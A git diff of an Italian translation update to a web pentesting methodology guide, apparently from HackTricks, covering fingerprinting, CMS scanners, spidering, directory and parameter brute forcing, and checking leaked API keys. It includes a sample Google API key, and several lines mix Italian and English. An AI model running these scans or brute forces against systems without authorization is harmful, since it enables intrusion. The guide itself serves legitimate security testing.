Translated ['src/network-services-pentesting/pentesting-web/sitecore/REA

src/SUMMARY.md

@@ -447,6 +447,7 @@
   - [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
   - [Nginx](network-services-pentesting/pentesting-web/nginx.md)
   - [NodeJS Express](network-services-pentesting/pentesting-web/nodejs-express.md)
+  - [Sitecore](network-services-pentesting/pentesting-web/sitecore/README.md)
   - [PHP Tricks](network-services-pentesting/pentesting-web/php-tricks-esp/README.md)
     - [PHP - Useful Functions & disable_functions/open_basedir bypass](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md)
       - [disable_functions bypass - php-fpm/FastCGI](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md)
@@ -929,4 +930,3 @@
 - [Post Exploitation](todo/post-exploitation.md)
 - [Investment Terms](todo/investment-terms.md)
 - [Cookies Policy](todo/cookies-policy.md)
-  

src/network-services-pentesting/pentesting-web/README.md

@@ -1,4 +1,4 @@
-# 80,443 - Metodologia Pentesting Web
+# 80,443 - Pentesting Web Metodologia
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -24,48 +24,48 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
 web-api-pentesting.md
 {{#endref}}
 
-## Riassunto della metodologia
+## Sommario della metodologia
 
-> In questa metodologia supponiamo che tu stia per attaccare un dominio (o sottodominio) e solo quello. Quindi, dovresti applicare questa metodologia a ogni dominio, sottodominio o IP scoperto con web server non determinato all'interno dell'ambito.
+> In questa metodologia supponiamo che tu stia per attaccare un dominio (o sottodominio) e solo quello. Quindi, dovresti applicare questa metodologia a ogni dominio, sottodominio o IP scoperto con server web non determinato nell'ambito.
 
-- [ ] Inizia **identificando** le **tecnologie** usate dal web server. Cerca **trucchi** da tenere a mente durante il resto del test se riesci a identificare con successo la tech.
-- [ ] Qualsiasi **vulnerabilità nota** della versione della tecnologia?
-- [ ] Stai usando qualche **tech ben nota**? Qualche **trucco utile** per estrarre più informazioni?
-- [ ] Qualche **scanner specializzato** da eseguire (come wpscan)?
-- [ ] Avvia **scanner a scopo generale**. Non sai mai se troveranno qualcosa o qualche informazione interessante.
-- [ ] Inizia con i **controlli iniziali**: **robots**, **sitemap**, **errore 404** e **SSL/TLS scan** (se HTTPS).
-- [ ] Inizia a **spiderare** la pagina web: è il momento di **trovare** tutti i possibili **file, cartelle** e **parametri in uso.** Controlla anche la presenza di **risultati speciali**.
-- [ ] _Nota che ogni volta che viene scoperta una nuova directory durante brute-forcing o spidering, dovrebbe essere spiderata._
-- [ ] **Directory Brute-Forcing**: prova a brute-forzare tutte le cartelle scoperte cercando nuovi **file** e **directory**.
-- [ ] _Nota che ogni volta che viene scoperta una nuova directory durante brute-forcing o spidering, dovrebbe essere Brute-Forced._
-- [ ] **Controllo backup**: verifica se puoi trovare **backup** di **file scoperti** aggiungendo estensioni di backup comuni.
-- [ ] **Brute-Force parametri**: prova a **trovare parametri nascosti**.
-- [ ] Una volta che hai **identificato** tutti i possibili **endpoint** che accettano **input utente**, verifica ogni tipo di **vulnerabilità** relativa a essi.
+- [ ] Inizia identificando le **tecnologie** usate dal server web. Cerca **trucchi** da tenere a mente durante il resto del test se riesci a identificare correttamente la tech.
+- [ ] Esistono **vulnerabilità note** per la versione della tecnologia?
+- [ ] Using any **well known tech**? Any **useful trick** to extract more information?
+- [ ] Qualche **specialised scanner** da eseguire (come wpscan)?
+- [ ] Avvia **general purposes scanners**. Non sai mai se troveranno qualcosa o se troveranno informazioni interessanti.
+- [ ] Inizia con i **check iniziali**: **robots**, **sitemap**, errore **404** e **SSL/TLS scan** (se HTTPS).
+- [ ] Avvia lo **spidering** della pagina web: è il momento di **trovare** tutti i possibili **file, folders** e **parameters being used.** Controlla anche la presenza di **special findings**.
+- [ ] _Nota che ogni volta che una nuova directory viene scoperta durante brute-forcing o spidering, dovrebbe essere spidered._
+- [ ] **Directory Brute-Forcing**: Try to brute force all the discovered folders searching for new **files** and **directories**.
+- [ ] _Nota che ogni volta che una nuova directory viene scoperta durante brute-forcing o spidering, dovrebbe essere Brute-Forced._
+- [ ] **Backups checking**: Verifica se puoi trovare dei **backups** dei **discovered files** aggiungendo estensioni di backup comuni.
+- [ ] **Brute-Force parameters**: Prova a **find hidden parameters**.
+- [ ] Una volta che hai **identified** tutti i possibili **endpoints** che accettano **user input**, verifica tutti i tipi di **vulnerabilità** correlate.
 - [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
 
-## Versione del Server (Vulnerabile?)
+## Server Version (Vulnerable?)
 
-### Identificare
+### Identify
 
-Controlla se esistono **vulnerabilità note** per la **versione** del server in esecuzione.\
-Le **HTTP headers e i cookies della response** potrebbero essere molto utili per **identificare** le **tecnologie** e/o la **versione** in uso. **Nmap scan** può identificare la versione del server, ma possono essere utili anche gli strumenti [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) o [**https://builtwith.com/**](https://builtwith.com)**:**
+Verifica se esistono **vulnerabilità note** per la **versione** del server in esecuzione.\
+Le **HTTP headers and cookies of the response** possono essere molto utili per **identify** le **technologies** e/o la **version** in uso. **Nmap scan** può identificare la versione del server, ma potrebbero anche essere utili gli strumenti [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
 ```bash
 whatweb -a 1 <URL> #Stealthy
 whatweb -a 3 <URL> #Aggresive
 webtech -u <URL>
 webanalyze -host https://google.com -crawl 2
 ```
-Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
+Cerca [**vulnerabilità della versione dell'applicazione web**](../../generic-hacking/search-exploits.md)
 
-### **Verifica la presenza di WAF**
+### **Controlla se è presente un WAF**
 
 - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
 - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
 - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
 
-### Web tech tricks
+### Trucchi per tecnologie Web
 
-Alcuni **trucchi** per **finding vulnerabilities** in diverse ben note **technologies** in uso:
+Alcuni **trucchi** per **trovare vulnerabilità** in diverse e ben note **tecnologie** in uso:
 
 - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
 - [**Apache**](apache.md)
@@ -100,28 +100,30 @@ Alcuni **trucchi** per **finding vulnerabilities** in diverse ben note **technol
 - [**Werkzeug**](werkzeug.md)
 - [**Wordpress**](wordpress.md)
 - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
+- [**Sitecore**](sitecore/index.html)
 
-_Tieni in considerazione che lo **stesso dominio** può utilizzare **diverse tecnologie** su diverse **porte**, **cartelle** e **sottodomini**._\
-Se la web application sta usando una delle **tech/platform elencate prima** o **qualsiasi altra**, non dimenticare di **cercare su Internet** nuovi trucchi (e fammi sapere!).
+_Tieni presente che lo **stesso dominio** può utilizzare **diverse tecnologie** su diverse **porte**, **cartelle** e **sottodomini**._\
+Se l'applicazione web sta usando una **tech/platform** ben nota elencata prima o qualsiasi altra, non dimenticare di **cercare su Internet** nuovi trucchi (e fammi sapere!).
 
-### Source Code Review
+### Revisione del codice sorgente
 
-Se il **source code** dell'applicazione è disponibile su **github**, oltre a eseguire da **te un White box test** dell'applicazione ci sono **alcune informazioni** che potrebbero essere **utili** per l'attuale **Black-Box testing**:
+Se il **source code** dell'applicazione è disponibile su **github**, oltre a effettuare personalmente un **White box test** dell'applicazione ci sono **alcune informazioni** che potrebbero essere **utili** per l'attuale **Black-Box testing**:
+
+- Esiste un **Change-log** o **Readme** o **Version** file o qualcosa con **informazioni sulla versione** accessibile via web?
+- Come e dove sono salvate le **credentials**? Esiste qualche (accessibile?) **file** con credentials (username o passwords)?
+- Le **passwords** sono in **plain text**, **encrypted** o quale **hashing algorithm** viene usato?
+- Sta usando qualche **master key** per criptare qualcosa? Quale **algorithm** viene usato?
+- Puoi **accedere a uno di questi file** sfruttando qualche vulnerabilità?
+- Ci sono informazioni **interessanti nel github** (issue risolte o non risolte)? O nella **commit history** (forse qualche **password** introdotta in un vecchio commit)?
 
-- Esiste un **Change-log o Readme o Version** file o qualcosa con **informazioni di versione** accessibile via web?
-- Come e dove vengono salvate le **credentials**? Esiste qualche (accessibile?) **file** con credentials (usernames o passwords)?
-- Le passwords sono in **plain text**, **encrypted** o quale **hashing algorithm** viene usato?
-- Sta usando una **master key** per cifrare qualcosa? Quale **algoritmo** viene usato?
-- Puoi accedere a uno di questi file sfruttando qualche **vulnerability**?
-- Ci sono informazioni interessanti su **github** (issues risolte e non risolte)? O nella cronologia dei commit (forse qualche password introdotta in un vecchio commit)?
 
 {{#ref}}
 code-review-tools.md
 {{#endref}}
 
-### Automatic scanners
+### Scanner automatici
 
-#### General purpose automatic scanners
+#### Scanner automatici di uso generale
 ```bash
 nikto -h <URL>
 whatweb -a 4 <URL>
@@ -135,10 +137,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
 ```
 #### Scanner per CMS
 
-Se viene usato un CMS, non dimenticare di **eseguire uno scanner**, potrebbe essere trovato qualcosa di interessante:
+Se viene usato un CMS non dimenticare di **eseguire una scansione**, potrebbe emergere qualcosa di interessante:
 
 [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
-[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** siti web per vulnerabilità di sicurezza. (GUI)\
+[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** siti web per problemi di sicurezza. (GUI)\
 [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
 **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **o** [**(M)oodle**](moodle.md)\
 [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@@ -148,45 +150,45 @@ wpscan --force update -e --url <URL>
 joomscan --ec -u <URL>
 joomlavs.rb #https://github.com/rastating/joomlavs
 ```
-> A questo punto dovresti già avere alcune informazioni sul web server usato dal client (se sono stati forniti dati) e alcuni trucchi da tenere a mente durante il test. Se sei fortunato potresti aver anche trovato un CMS ed eseguito qualche scanner.
+> A questo punto dovresti già avere alcune informazioni sul server web utilizzato dal cliente (se vengono forniti dati) e qualche trucco da tenere a mente durante il test. Se sei fortunato hai anche trovato un CMS ed eseguito qualche scanner.
 
-## Step-by-step Web Application Discovery
+## Scoperta passo-passo dell'applicazione web
 
-> From this point we are going to start interacting with the web application.
+> Da questo punto inizieremo a interagire con l'applicazione web.
 
-### Initial checks
+### Controlli iniziali
 
-**Default pages with interesting info:**
+**Pagine predefinite con informazioni interessanti:**
 
 - /robots.txt
 - /sitemap.xml
 - /crossdomain.xml
 - /clientaccesspolicy.xml
 - /.well-known/
-- Check also comments in the main and secondary pages.
+- Controlla anche i commenti nelle pagine principali e secondarie.
 
-**Forcing errors**
+**Forzare errori**
 
-I web server possono **comportarsi in modo inaspettato** quando vengono inviati dati strani. Questo può aprire **vulnerabilità** o causare **esposizione di informazioni sensibili**.
+I web server possono **comportarsi in modo imprevisto** quando vengono inviati dati strani. Questo può aprire **vulnerabilità** o portare alla **divulgazione di informazioni sensibili**.
 
-- Accedi a **pagine fake** come /whatever_fake.php (.aspx,.html,.etc)
-- **Aggiungi "\[]", "]]", and "\[\["** nei **valori dei cookie** e nei **valori dei parametri** per creare errori
+- Accedi a **pagine false** come /whatever_fake.php (.aspx,.html,.etc)
+- **Aggiungi "\[]", "]]", and "\[["** nei **valori dei cookie** e nei **valori dei parametri** per creare errori
 - Genera un errore fornendo come input **`/~randomthing/%s`** alla **fine** della **URL**
-- Prova **diversi HTTP Verbs** come PATCH, DEBUG o sbagliati come FAKE
+- Prova **diversi metodi HTTP** come PATCH, DEBUG o metodi sbagliati come FAKE
 
-#### **Check if you can upload files (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
+#### **Verifica se puoi uploadare file (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
 
-Se scopri che **WebDav** è **abilitato** ma non hai permessi sufficienti per **caricare file** nella cartella root, prova a:
+Se scopri che **WebDav** è **abilitato** ma non hai sufficienti permessi per **caricare file** nella cartella root prova a:
 
-- **Brute Force** credentials
-- **Caricare file** via WebDav nelle **altre** **cartelle trovate** all'interno della pagina web. Potresti avere i permessi per caricare file in altre directory.
+- **Brute Force** delle credenziali
+- **Carica file** via WebDav nelle **altre** cartelle trovate all'interno della pagina web. Potresti avere permessi per caricare file in altre cartelle.
 
-### **SSL/TLS vulnerabilites**
+### **Vulnerabilità SSL/TLS**
 
 - Se l'applicazione **non forza l'uso di HTTPS** in nessuna parte, allora è **vulnerabile a MitM**
-- Se l'applicazione **invia dati sensibili (password) usando HTTP**. Allora è una vulnerabilità critica.
+- Se l'applicazione **invia dati sensibili (password) via HTTP**. Allora è una vulnerabilità alta.
 
-Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) per verificare la presenza di **vulnerabilità** (Nei programmi di Bug Bounty probabilmente questo tipo di vulnerabilità non verrà accettato) e usa [**a2sv** ](https://github.com/hahwul/a2sv) per ricontrollare le vulnerabilità:
+Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) per verificare la presenza di **vulnerabilità** (nei programmi Bug Bounty probabilmente questi tipi di vulnerabilità non saranno accettati) e usa [**a2sv** ](https://github.com/hahwul/a2sv)per ricontrollare le vulnerabilità:
 ```bash
 ./testssl.sh [--htmlfile] 10.10.10.10:443
 #Use the --htmlfile to save the output inside an htmlfile also
@@ -202,53 +204,53 @@ Informazioni sulle vulnerabilità SSL/TLS:
 
 ### Spidering
 
-Avvia una sorta di **spider** sul web. L'obiettivo dello spider è **trovare quanti più percorsi possibile** dall'applicazione testata. Perciò, web crawling e fonti esterne dovrebbero essere usate per trovare il maggior numero possibile di percorsi validi.
+Lancia una qualche forma di **spider** all'interno del sito web. L'obiettivo dello **spider** è **trovare quanti più percorsi possibili** dall'applicazione testata. Pertanto, dovrebbero essere usati web crawling e fonti esterne per scoprire il maggior numero possibile di percorsi validi.
 
-- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder nei file JS e in fonti esterne (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
-- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML spider, con LinkFinder per file JS e Archive.org come fonte esterna.
-- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, indica anche i "juicy files".
-- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. Cerca anche in Archive.org.
-- [**meg**](https://github.com/tomnomnom/meg) (go): Questo strumento non è uno spider ma può essere utile. Puoi indicare un file con hosts e un file con path e meg scaricherà ogni path su ogni host e salverà la risposta.
-- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider con capacità di rendering JS. Tuttavia, sembra non essere mantenuto, la versione precompilata è vecchia e il codice attuale non compila.
-- [**gau**](https://github.com/lc/gau) (go): HTML spider che usa provider esterni (wayback, otx, commoncrawl).
-- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Questo script troverà URL con parametri e li elencherà.
-- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider con capacità di rendering JS.
-- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, con capacità di JS beautify in grado di cercare nuovi percorsi nei file JS. Potrebbe valere la pena dare un'occhiata anche a [JSScanner](https://github.com/dark-warlord14/JSScanner), che è un wrapper di LinkFinder.
-- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Per estrarre endpoint sia dal sorgente HTML che dai file javascript incorporati. Utile per bug hunters, red teamers, infosec ninjas.
-- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Uno script python 2.7 che usa Tornado e JSBeautifier per parsare URL relative dai file JavaScript. Utile per scoprire facilmente richieste AJAX. Sembra non essere mantenuto.
-- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dato un file (HTML) estrarrà URL da esso usando espressioni regolari per trovare ed estrarre URL relative da file minificati.
-- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, diversi tools): Raccoglie informazioni interessanti dai file JS usando diversi strumenti.
-- [**subjs**](https://github.com/lc/subjs) (go): Trova file JS.
-- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carica una pagina in un browser headless e stampa tutti gli url caricati per caricare la pagina.
-- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Strumento di content discovery che combina varie opzioni dei tool precedenti.
-- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Una estensione per Burp per trovare path e param nei file JS.
-- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Uno strumento che, dato l'URL .js.map, restituisce il codice JS beatificato.
-- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Strumento per scoprire endpoint per un target dato.
-- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Scopri link dalla wayback machine (scaricando anche le risposte nella wayback e cercando altri link).
-- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (anche compilando form) e trova anche info sensibili usando regex specifiche.
-- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite è un advance multi-feature GUI web security Crawler/Spider progettato per professionisti della cyber security.
-- [**jsluice**](https://github.com/BishopFox/jsluice) (go): È un package Go e uno [strumento da riga di comando](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) per estrarre URLs, path, secrets e altri dati interessanti dal codice sorgente JavaScript.
-- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge è una semplice **Burp Suite extension** per **estrarre i parametri e gli endpoint** dalle richieste per creare wordlist personalizzate per fuzzing e enumerazione.
-- [**katana**](https://github.com/projectdiscovery/katana) (go): Ottimo strumento per questo.
-- [**Crawley**](https://github.com/s0rg/crawley) (go): Stampa ogni link che riesce a trovare.
+- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com).
+- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source.
+- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files".
+- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org
+- [**meg**](https://github.com/tomnomnom/meg) (go): Questo strumento non è uno spider ma può essere utile. Puoi indicare un file con hosts e un file con paths e meg farà fetch di ogni path su ogni host e salverà la risposta.
+- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider with JS rendering capabilities. However, it looks like it's unmaintained, the precompiled version is old and the current code doesn't compile
+- [**gau**](https://github.com/lc/gau) (go): HTML spider that uses external providers (wayback, otx, commoncrawl)
+- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): This script will find URLs with parameter and will list them.
+- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider with JS rendering capabilities.
+- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, with JS beautify capabilities capable of search new paths in JS files. It could be worth it also take a look to [JSScanner](https://github.com/dark-warlord14/JSScanner), which is a wrapper of LinkFinder.
+- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): To extract endpoints in both HTML source and embedded javascript files. Useful for bug hunters, red teamers, infosec ninjas.
+- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests. Looks like unmaintained.
+- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Given a file (HTML) it will extract URLs from it using nifty regular expression to find and extract the relative URLs from ugly (minify) files.
+- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Gather interesting information from JS files using several tools.
+- [**subjs**](https://github.com/lc/subjs) (go): Find JS files.
+- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Load a page in a headless browser and print out all the urls loaded to load the page.
+- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool mixing several options of the previous tools
+- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files.
+- [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code
+- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target.
+- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links
+- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes.
+- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals.
+- [**jsluice**](https://github.com/BishopFox/jsluice) (go): It's a Go package and [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) for extracting URLs, paths, secrets, and other interesting data from JavaScript source code.
+- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is a simple **Burp Suite extension** to **extract the paramters and endpoints** from the request to create custom wordlist for fuzzing and enumeration.
+- [**katana**](https://github.com/projectdiscovery/katana) (go): Awesome tool for this.
+- [**Crawley**](https://github.com/s0rg/crawley) (go): Print every link it's able to find.
 
 ### Brute Force directories and files
 
-Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\
+Start **brute-forcing** from the root folder and assicurati di brute-force **tutte** le **directory trovate** usando **questo metodo** e tutte le directory **scoperte** dallo **Spidering** (puoi fare questo brute-forcing **ricorsivamente** e anteporre all'inizio della wordlist utilizzata i nomi delle directory trovate).\
 Tools:
 
 - **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options.
-- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search.
-- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search.
+- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Non permette certificati auto-firmati ma** consente la ricerca ricorsiva.
+- [**Gobuster**](https://github.com/OJ/gobuster) (go): Consente certificati auto-firmati, non ha ricerca **ricorsiva**.
 - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
 - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
 - [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
-- [**uro**](https://github.com/s0md3v/uro) (python): Questo non è uno spider ma uno strumento che, data la lista di URL trovati, elimina gli URL "duplicati".
-- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension per creare una lista di directory dalla history di Burp di diverse pagine.
-- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Rimuove URL con funzionalità duplicate (basato su import JS).
-- [**Chamaleon**](https://github.com/iustin24/chameleon): Usa wapalyzer per rilevare le tecnologie usate e selezionare le wordlist da usare.
+- [**uro**](https://github.com/s0md3v/uro) (python): Questo non è uno spider ma uno strumento che, data la lista di URL trovati, rimuove gli URL "duplicati".
+- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension per creare una lista di directory dalla history di Burp di differenti pagine
+- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Rimuove URL con funzionalità duplicate (basato su importazioni js)
+- [**Chamaleon**](https://github.com/iustin24/chameleon): Usa wapalyzer per rilevare le tecnologie usate e selezionare le wordlist da utilizzare.
 
-**Recommended dictionaries:**
+**Dizionari consigliati:**
 
 - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
 - [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
@@ -267,41 +269,41 @@ Tools:
 - _/usr/share/wordlists/dirb/big.txt_
 - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
 
-_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
+_Nota che ogni volta che una nuova directory viene scoperta durante brute-forcing o spidering, dovrebbe essere nuovamente Brute-Forcata._
 
 ### What to check on each file found
 
-- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Trova link rotti negli HTML che potrebbero essere suscettibili di takeover.
-- **File Backups**: Una volta trovati tutti i file, cerca backup di tutti i file eseguibili ("_.php_", "_.aspx_"...). Varianti comuni per il naming di un backup sono: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Puoi anche usare lo strumento [**bfac**](https://github.com/mazen160/bfac) **or** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
-- **Discover new parameters**: Puoi usare strumenti come [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **and** [**Param Miner**](https://github.com/PortSwigger/param-miner) **per scoprire parametri nascosti. Se possibile, prova a cercare** parametri nascosti in ogni file web eseguibile.
+- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Trova link rotti dentro gli HTML che possono essere suscettibili di takeover
+- **File Backups**: Una volta che hai trovato tutti i file, cerca backup di tutti i file eseguibili ("_.php_", "_.aspx_"...). Variazioni comuni per il nome di un backup sono: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Puoi anche usare lo strumento [**bfac**](https://github.com/mazen160/bfac) **o** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
+- **Discover new parameters**: Puoi usare strumenti come [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **e** [**Param Miner**](https://github.com/PortSwigger/param-miner) **per scoprire parametri nascosti. Se possibile, prova a cercare** parametri nascosti in ogni file web eseguibile.
 - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
 - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
 - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
 - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
 - **Comments:** Controlla i commenti di tutti i file, potresti trovare **credentials** o **funzionalità nascoste**.
-- Se stai giocando un **CTF**, un trucco "comune" è **nascondere** **informazioni** nei commenti alla **destra** della **pagina** (usando **centinaia** di **spazi** così non vedi i dati se apri il sorgente con il browser). Un'altra possibilità è usare **diverse nuove linee** e **nascondere informazioni** in un commento in fondo alla pagina web.
-- **API keys**: Se **trovi una API key** esiste una guida che indica come usare API keys di diverse piattaforme: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
-- Google API keys: Se trovi una API key che inizia come **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik puoi usare il progetto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) per verificare quali APIs la key può accedere.
-- **S3 Buckets**: Mentre esegui lo spidering verifica se qualche **subdomain** o qualche **link** è collegato a un **S3 bucket**. In tal caso, [**check** the **permissions** of the bucket](buckets/index.html).
+- Se stai giocando in un **CTF**, un trucco "comune" è **nascondere** **informazioni** dentro commenti alla **destra** della **pagina** (usando **centinaia** di **spazi** così non vedi i dati se apri il sorgente con il browser). Un'altra possibilità è usare **diverse nuove righe** e **nascondere informazioni** in un commento in fondo alla pagina web.
